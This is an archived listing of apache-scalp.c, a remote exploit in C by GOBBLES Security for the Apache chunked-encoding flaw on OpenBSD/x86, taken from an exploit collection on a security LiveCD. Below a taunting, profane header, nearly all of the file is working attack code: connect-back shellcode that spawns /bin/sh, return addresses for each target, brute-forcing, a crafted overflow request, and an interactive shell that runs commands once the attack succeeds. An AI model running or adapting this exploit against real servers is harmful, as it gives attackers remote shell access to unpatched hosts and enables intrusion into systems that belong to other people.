home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / apache / apache-scalp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  11KB  |  365 lines

  1. /*
  2.  * apache-scalp.c
  3.  * OPENBSD/X86 APACHE REMOTE EXPLOIT!!!!!!! 
  4.  * 
  5.  * ROBUST, RELIABLE, USER-FRIENDLY MOTHERFUCKING 0DAY WAREZ!
  6.  *
  7.  * BLING! BLING! --- BRUTE FORCE CAPABILITIES --- BLING! BLING!
  8.  * 
  9.  * ". . . and Doug Sniff said it was a hole in Epic."
  10.  *
  11.  * ---
  12.  * Disarm you with a smile
  13.  * And leave you like they left me here
  14.  * To wither in denial
  15.  * The bitterness of one who's left alone
  16.  * ---
  17.  *
  18.  * Remote OpenBSD/Apache exploit for the "chunking" vulnerability. Kudos to
  19.  * the OpenBSD developers (Theo, DugSong, jnathan, *@#!w00w00, ...) and
  20.  * their crappy memcpy implementation that makes this 32-bit impossibility
  21.  * very easy to accomplish. This vulnerability was recently rediscovered by a slew
  22.  * of researchers.
  23.  *
  24.  * The "experts" have already concurred that this bug...
  25.  *      -       Can not be exploited on 32-bit *nix variants
  26.  *      -       Is only exploitable on win32 platforms
  27.  *      -       Is only exploitable on certain 64-bit systems
  28.  *
  29.  * However, contrary to what ISS would have you believe, we have
  30.  * successfully exploited this hole on the following operating systems:
  31.  *
  32.  *      Sun Solaris 6-8 (sparc/x86)
  33.  *      FreeBSD 4.3-4.5 (x86)
  34.  *      OpenBSD 2.6-3.1 (x86)
  35.  *      Linux (GNU) 2.4 (x86)
  36.  *
  37.  * Don't get discouraged too quickly in your own research. It took us close
  38.  * to two months to be able to exploit each of the above operating systems.
  39.  * There is a peculiarity to be found for each operating system that makes the
  40.  * exploitation possible.
  41.  *
  42.  * Don't email us asking for technical help or begging for warez. We are
  43.  * busy working on many other wonderful things, including other remotely
  44.  * exploitable holes in Apache. Perhaps The Great Pr0ix would like to inform
  45.  * the community that those holes don't exist? We wonder who's paying her.
  46.  *
  47.  * This code is an early version from when we first began researching the
  48.  * vulnerability. It should spawn a shell on any unpatched OpenBSD system
  49.  * running the Apache webserver.
  50.  *
  51.  * We appreciate The Blue Boar's effort to allow us to post to his mailing
  52.  * list once again. Because he finally allowed us to post, we now have this
  53.  * very humble offering.
  54.  *
  55.  * This is a very serious vulnerability. After disclosing this exploit, we
  56.  * hope to have gained immense fame and glory.
  57.  *
  58.  * Testbeds: synnergy.net, monkey.org, 9mm.com
  59.  *
  60.  * Abusing the right syscalls, any exploit against OpenBSD == root. Kernel
  61.  * bugs are great. 
  62.  *
  63.  * [#!GOBBLES QUOTES]
  64.  * 
  65.  * --- you just know 28923034839303 admins out there running
  66.  *     OpenBSD/Apache are going "ugh..not exploitable..ill do it after the
  67.  *     weekend"
  68.  * --- "Five years without a remote hole in the default install". default
  69.  *      package = kernel. if theo knew that talkd was exploitable, he'd cry.
  70.  * --- so funny how apache.org claims it's impossible to exploit this.
  71.  * --- how many times were we told, "ANTISEC IS NOT FOR YOU" ?       
  72.  * --- I hope Theo doesn't kill himself                        
  73.  * --- heh, this is a middle finger to all those open source, anti-"m$"
  74.  *     idiots... slashdot hippies...
  75.  * --- they rushed to release this exploit so they could update their ISS
  76.  *     scanner to have a module for this vulnerability, but it doesnt even
  77.  *     work... it's just looking for win32 apache versions
  78.  * --- no one took us seriously when we mentioned this last year. we warned
  79.  *     them that moderation == no pie.
  80.  * --- now try it against synnergy :>                           
  81.  * --- ANOTHER BUG BITE THE DUST... VROOOOM VRRRRRRROOOOOOOOOM
  82.  *
  83.  * xxxx  this thing is a major exploit. do you really wanna publish it?
  84.  * oooo  i'm not afraid of whitehats
  85.  * xxxx  the blackhats will kill you for posting that exploit
  86.  * oooo  blackhats are a myth
  87.  * oooo  so i'm not worried
  88.  * oooo  i've never seen one
  89.  * oooo  i guess it's sort of like having god in your life
  90.  * oooo  i don't believe there's a god
  91.  * oooo  but if i sat down and met him
  92.  * oooo  i wouldn't walk away thinking
  93.  * oooo  "that was one hell of a special effect"
  94.  * oooo  so i suppose there very well could be a blackhat somewhere
  95.  * oooo  but i doubt it... i've seen whitehat-blackhats with their ethics
  96.  *       and deep philosophy...
  97.  *
  98.  * [GOBBLES POSERS/WANNABES]
  99.  *
  100.  * --- #!GOBBLES@EFNET (none of us join here, but we've sniffed it)
  101.  * --- super@GOBBLES.NET (low-level.net)
  102.  *
  103.  * GOBBLES Security
  104.  * GOBBLES@hushmail.com
  105.  * http://www.bugtraq.org
  106.  *
  107.  */
  108.  
  109.  
  110. #include <stdio.h>
  111. #include <stdlib.h>
  112. #include <string.h>
  113. #include <unistd.h>
  114. #include <sys/types.h>
  115. #include <sys/socket.h>
  116. #include <netinet/in.h>
  117. #include <arpa/inet.h>
  118. #include <netdb.h>
  119. #include <sys/time.h>
  120. #include <signal.h>
  121.  
  122.  
  123. #define EXPLOIT_TIMEOUT        5    /* num seconds to wait before assuming it failed */
  124. #define RET_ADDR_INC        512
  125.  
  126.  
  127. #define MEMCPY_s1_OWADDR_DELTA    -146
  128. #define PADSIZE_1        4
  129. #define PADSIZE_2         5
  130. #define PADSIZE_3        7
  131.  
  132.  
  133. #define REP_POPULATOR        24
  134. #define REP_RET_ADDR        6
  135. #define REP_ZERO        36
  136. #define REP_SHELLCODE        24
  137. #define NOPCOUNT        1024
  138.  
  139. #define NOP            0x41
  140. #define PADDING_1        'A'
  141. #define PADDING_2        'B'
  142. #define PADDING_3        'C'
  143.  
  144. #define PUT_STRING(s)        memcpy(p, s, strlen(s)); p += strlen(s);
  145. #define PUT_BYTES(n, b)        memset(p, b, n); p += n;
  146.  
  147. #define SHELLCODE_LOCALPORT_OFF 30
  148.  
  149. char shellcode[] =
  150.   "\x89\xe2\x83\xec\x10\x6a\x10\x54\x52\x6a\x00\x6a\x00\xb8\x1f"
  151.   "\x00\x00\x00\xcd\x80\x80\x7a\x01\x02\x75\x0b\x66\x81\x7a\x02"
  152.   "\x42\x41\x75\x03\xeb\x0f\x90\xff\x44\x24\x04\x81\x7c\x24\x04"
  153.   "\x00\x01\x00\x00\x75\xda\xc7\x44\x24\x08\x00\x00\x00\x00\xb8"
  154.   "\x5a\x00\x00\x00\xcd\x80\xff\x44\x24\x08\x83\x7c\x24\x08\x03"
  155.   "\x75\xee\x68\x0b\x6f\x6b\x0b\x81\x34\x24\x01\x00\x00\x01\x89"
  156.   "\xe2\x6a\x04\x52\x6a\x01\x6a\x00\xb8\x04\x00\x00\x00\xcd\x80"
  157.   "\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50"
  158.   "\x52\x89\xe1\x50\x51\x52\x50\xb8\x3b\x00\x00\x00\xcd\x80\xcc";
  159.  
  160.  
  161. struct {
  162.     char *type;
  163.     u_long retaddr;
  164. } targets[] = {    // hehe, yes theo, that say OpenBSD here!
  165.     { "OpenBSD 3.0 x86 / Apache 1.3.20",    0xcf92f },
  166.     { "OpenBSD 3.0 x86 / Apache 1.3.22",    0x8f0aa },
  167.     { "OpenBSD 3.0 x86 / Apache 1.3.24",    0x90600 },
  168.     { "OpenBSD 3.1 x86 / Apache 1.3.20",    0x8f2a6 },
  169.     { "OpenBSD 3.1 x86 / Apache 1.3.23",    0x90600 },
  170.     { "OpenBSD 3.1 x86 / Apache 1.3.24",    0x9011a },
  171.     { "OpenBSD 3.1 x86 / Apache 1.3.24 #2",    0x932ae },
  172. };
  173.  
  174.  
  175. int main(int argc, char *argv[]) {
  176.  
  177.     char           *hostp, *portp;
  178.     unsigned char   buf[512], *expbuf, *p;
  179.     int             i, j, lport;
  180.     int             sock;
  181.     int             bruteforce, owned, progress;
  182.     u_long          retaddr;
  183.     struct sockaddr_in sin, from;
  184.  
  185.  
  186.     if(argc != 3) {
  187.         printf("Usage: %s <target#|base address> <ip[:port]>\n", argv[0]);
  188.         printf("  Using targets:\t./apache-scalp 3 127.0.0.1:8080\n");
  189.         printf("  Using bruteforce:\t./apache-scalp 0x8f000 127.0.0.1:8080\n");
  190.         printf("\n--- --- - Potential targets list - --- ----\n");
  191.         printf("Target ID / Target specification\n");
  192.         for(i = 0; i < sizeof(targets)/8; i++)
  193.             printf("\t%d / %s\n", i, targets[i].type);
  194.  
  195.         return -1;
  196.     }
  197.  
  198.  
  199.     hostp = strtok(argv[2], ":");
  200.     if((portp = strtok(NULL, ":")) == NULL)
  201.         portp = "80";
  202.  
  203.     retaddr = strtoul(argv[1], NULL, 16);
  204.     if(retaddr < sizeof(targets)/8) {
  205.         retaddr = targets[retaddr].retaddr;
  206.         bruteforce = 0;
  207.     }
  208.     else
  209.         bruteforce = 1;
  210.         
  211.  
  212.     srand(getpid());
  213.     signal(SIGPIPE, SIG_IGN);
  214.     for(owned = 0, progress = 0;;retaddr += RET_ADDR_INC) {
  215.  
  216.         /* skip invalid return adresses */
  217.         i = retaddr & 0xff;
  218.         if(i == 0x0a || i == 0x0d)
  219.             retaddr++;
  220.         else if(memchr(&retaddr, 0x0a, 4) || memchr(&retaddr, 0x0d, 4))
  221.             continue;
  222.  
  223.  
  224.         sock = socket(AF_INET, SOCK_STREAM, 0);
  225.         sin.sin_family = AF_INET;
  226.         sin.sin_addr.s_addr = inet_addr(hostp);
  227.         sin.sin_port = htons(atoi(portp));
  228.         if(!progress)
  229.             printf("\n[*] Connecting.. ");
  230.  
  231.         fflush(stdout);
  232.         if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) {
  233.             perror("connect()");
  234.             exit(1);
  235.         }
  236.  
  237.         if(!progress)
  238.             printf("connected!\n");
  239.  
  240.  
  241.         /* Setup the local port in our shellcode */
  242.         i = sizeof(from);
  243.         if(getsockname(sock, (struct sockaddr *) & from, &i) != 0) {
  244.             perror("getsockname()");
  245.             exit(1);
  246.         }
  247.  
  248.         lport = ntohs(from.sin_port);
  249.         shellcode[SHELLCODE_LOCALPORT_OFF + 1] = lport & 0xff;
  250.         shellcode[SHELLCODE_LOCALPORT_OFF + 0] = (lport >> 8) & 0xff;
  251.  
  252.  
  253.         p = expbuf = malloc(8192 + ((PADSIZE_3 + NOPCOUNT + 1024) * REP_SHELLCODE)
  254.                     + ((PADSIZE_1 + (REP_RET_ADDR * 4) + REP_ZERO + 1024) * REP_POPULATOR));
  255.  
  256.         PUT_STRING("GET / HTTP/1.1\r\nHost: apache-scalp.c\r\n");
  257.  
  258.         for (i = 0; i < REP_SHELLCODE; i++) {
  259.             PUT_STRING("X-");
  260.             PUT_BYTES(PADSIZE_3, PADDING_3);
  261.             PUT_STRING(": ");
  262.             PUT_BYTES(NOPCOUNT, NOP);
  263.             memcpy(p, shellcode, sizeof(shellcode) - 1);
  264.             p += sizeof(shellcode) - 1;
  265.             PUT_STRING("\r\n");
  266.         }
  267.  
  268.         for (i = 0; i < REP_POPULATOR; i++) {
  269.             PUT_STRING("X-");
  270.             PUT_BYTES(PADSIZE_1, PADDING_1);
  271.             PUT_STRING(": ");
  272.             for (j = 0; j < REP_RET_ADDR; j++) {
  273.                 *p++ = retaddr & 0xff;
  274.                 *p++ = (retaddr >> 8) & 0xff;
  275.                 *p++ = (retaddr >> 16) & 0xff;
  276.                 *p++ = (retaddr >> 24) & 0xff;
  277.             }
  278.  
  279.             PUT_BYTES(REP_ZERO, 0);
  280.             PUT_STRING("\r\n");
  281.         }
  282.  
  283.         PUT_STRING("Transfer-Encoding: chunked\r\n");
  284.         snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", PADSIZE_2);
  285.         PUT_STRING(buf);
  286.         PUT_BYTES(PADSIZE_2, PADDING_2);
  287.         snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", MEMCPY_s1_OWADDR_DELTA);
  288.         PUT_STRING(buf);
  289.  
  290.         write(sock, expbuf, p - expbuf);
  291.  
  292.         progress++;
  293.         if((progress%70) == 0)
  294.             progress = 1;
  295.  
  296.         if(progress == 1) {
  297.             memset(buf, 0, sizeof(buf));
  298.             sprintf(buf, "\r[*] Currently using retaddr 0x%lx, length %u, localport %u",
  299.                 retaddr, (unsigned int)(p - expbuf), lport);
  300.             memset(buf + strlen(buf), ' ', 74 - strlen(buf));
  301.             puts(buf);
  302.             if(bruteforce)
  303.                 putchar(';');
  304.         }
  305.         else
  306.             putchar((rand()%2)? 'P': 'p');
  307.  
  308.  
  309.         fflush(stdout);
  310.         while (1) {
  311.             fd_set          fds;
  312.             int             n;
  313.             struct timeval  tv;
  314.  
  315.             tv.tv_sec = EXPLOIT_TIMEOUT;
  316.             tv.tv_usec = 0;
  317.  
  318.             FD_ZERO(&fds);
  319.             FD_SET(0, &fds);
  320.             FD_SET(sock, &fds);
  321.  
  322.             memset(buf, 0, sizeof(buf));
  323.             if(select(sock + 1, &fds, NULL, NULL, &tv) > 0) {
  324.                 if(FD_ISSET(sock, &fds)) {
  325.                     if((n = read(sock, buf, sizeof(buf) - 1)) <= 0)
  326.                         break;
  327.  
  328.                     if(!owned && n >= 4 && memcmp(buf, "\nok\n", 4) == 0) {
  329.                         printf("\nGOBBLE GOBBLE!@#%%)*#\n");
  330.                         printf("retaddr 0x%lx did the trick!\n", retaddr);
  331.                         sprintf(expbuf, "uname -a;id;echo hehe, now use 0day OpenBSD local kernel exploit to gain instant r00t\n");
  332.                         write(sock, expbuf, strlen(expbuf));
  333.                         owned++;
  334.                     }
  335.  
  336.                     write(1, buf, n);
  337.                 }
  338.  
  339.                 if(FD_ISSET(0, &fds)) {
  340.                     if((n = read(0, buf, sizeof(buf) - 1)) < 0)
  341.                         exit(1);
  342.  
  343.                     write(sock, buf, n);
  344.                 }
  345.             }
  346.  
  347.             if(!owned)
  348.                 break;
  349.         }
  350.  
  351.         free(expbuf);
  352.         close(sock);
  353.  
  354.         if(owned)
  355.             return 0;
  356.  
  357.         if(!bruteforce) {
  358.             fprintf(stderr, "Ooops.. hehehe!\n");
  359.             return -1;
  360.         }
  361.     }
  362.  
  363.     return 0;
  364. }
  365.